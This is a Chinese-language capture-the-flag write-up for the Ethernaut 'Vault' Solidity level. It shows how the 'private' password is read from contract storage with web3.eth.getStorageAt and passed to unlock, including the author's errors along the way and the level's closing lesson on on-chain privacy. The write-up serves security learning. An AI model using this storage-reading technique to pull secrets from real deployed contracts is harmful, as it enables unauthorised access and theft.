题目要求:
Unlock the vault to pass the level!
解锁这个合约!
源合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
显然 数据都公开在区块链上了。private其实也可以读到数据,就是要费点功夫。
介绍一个函数,web3.eth.getStorageAt,可以看到隐藏在private和internal背后的数据。
首先执行await web3.eth.getStorageAt(contract.address,1),查看password的bytes字节数据:
0x412076657279207374726f6e67207365637265742070617373776f7264203a29
再执行web3.utils.hexToAscii(await web3.eth.getStorageAt(contract.address,1))
A very strong secret password :)
A very strong secret password :)(笑),这样就知道调用什么函数传入什么数据了
await contract.unlock(web3.utils.hexToAscii(await web3.eth.getStorageAt(contract.address,1)))
await contract.unlock('A very strong secret password :)')
结果搞错了?
304064443913d71dc979ae45b91887297d35e2b4.js:2 Uncaught Error: invalid arrayify value (argument="value", value="A very strong secret password :)00000000000000000000000000000000", code=INVALID_ARGUMENT, version=bytes/5.7.0)
at <anonymous>:1:16
查了下,不能传入普通字符串,必须是一眼就看出是字节码那种
await contract.unlock(await web3.eth.getStorageAt(contract.address,1))
await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
注意,getStorageAt必须加await,否则给你搞个错误:
304064443913d71dc979ae45b91887297d35e2b4.js:2 Uncaught TypeError: t.substring is not a function
at <anonymous>:1:16
可以执行了!
使用await contract.locked()验证下:
false
submit instance,成功!
作者后话:
It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.
To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. [zk-SNARKs](https://blog.ethereum.org/2016/12/05/zksnarks-in-a-nutshell/) provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.
重要的是要记住,将变量标记为私有只会阻止其他合约访问它。标记为私有和局部变量的状态变量仍然可以公开访问。
为了确保数据的私密性,在将其放入区块链之前需要对其进行加密。在这种情况下,解密密钥永远不应该在链上发送,因为它对任何寻找它的人都是可见的。 zk-SNARKs 提供了一种方法来确定某人是否拥有秘密参数,而无需透露参数。